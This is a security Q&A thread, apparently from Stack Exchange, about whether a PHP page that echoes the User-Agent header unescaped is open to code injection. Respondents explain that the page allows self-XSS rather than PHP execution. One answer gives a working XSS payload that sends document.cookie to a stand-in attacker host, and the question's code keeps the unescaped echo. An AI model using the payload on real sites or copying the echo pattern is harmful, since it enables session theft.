5

Is this script vulnerable to PHP or JS code injection? In my quick test I changed the useragent to a PHP script but it will not be executed just printed. If change the user agent to a javascript code I receive a connection refused by the webserver.

So am I safe with this type of script?

<?php 
$u=$_SERVER['HTTP_USER_AGENT']
?>
<html>
<pre>string</pre>
<?php echo $u; ?>
</html>
9

You are correct that you do no need to worry about PHP code being injected. The echo command just echoes stuff - it does not execute it.

The JS is more problematic, though. Your code may be vulnerable to XSS. The client controls the user agent, and the attacker controls the client. You are giving an attacker the ability to inject arbitrary HTML and JS code into your webpage. Just use a user agent like this:

<img src="" onError="window.location='https://evil.com?'+document.cookie">

There is one big problem for the attacker: While it's easy to change your own user agent, you can't really change someone elses. So it's not obvious how you would hack anyone but yourself with this - it's a quite advanced form of self-XSS. If you are storing and then displaying other users user-agents (e.g. from logs) you have a much bigger danger. But that is not the case with your simple script.

So why doesn't that work for you? It looks like your attack gets blocked by some kind of WAF or similar. Thats great, but don't write bad code in the hope that your WAF will protect you! A WAF will not protect you against everything. And who knows where your code will run in the future and if there will even be a WAF there...

  • 1
    How exactly would this be exploitable? Yes, I can XSS myself, but how would I XSS others? – MechMK1 Sep 4 at 12:21
  • @MechMK1 I should not post before I drink my coffee. Will delete this, someone else should post the correct answer. – Anders Sep 4 at 12:24
  • @ConorMancone See above. – Anders Sep 4 at 12:24
  • 1
    @Anders I'm not trying to be passively snarky. I'm genuinely asking if there is a way to exploit this. From my point of view, only the person who's User Agent is changed is exploitable. And if the attacker can change my user agent, then they likely don't need XSS anymore. – MechMK1 Sep 4 at 12:26
  • @MechMK1 Don't worry, no offense taken! – Anders Sep 4 at 13:07
0

Any input should be parsed to ensure it does not do anything unexpected - however, in this code an attack with damage would be very hard to pull off. PHP would not be executed but it could be used in an XSS attack.

The reason why the code doesn't work above is that line 2 is missing a semi-colon.

  • The semi-colon isn't the reason why it doesn't work, because he says that it operates normally when he uses a standard user agent. Likely the missing semi-colon is just a transcription error. Also, it would be difficult to use this in an XSS attack because an attacker cannot control the user agent in someone else's answer. With the given example, only self-XSS would be possible. – Conor Mancone Sep 4 at 17:46
  • Could be used for XSS in the same way inspect element can be used for XSS. Unless there is some way to affect other users this is not a security issue at all. – Qwertie Sep 5 at 0:34
  • This is an example script and the concept itself is an issue. If you read my answer, you can see I clearly state in this code an attack with damage would be very hard. As I said, any input should be parsed. What if this example was used in the real world as an input to the database, which is then echoed to the user at a later date? Or if this script is used to write data into server logs which are viewed via an admin panel? – LTPCGO Sep 5 at 0:48

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.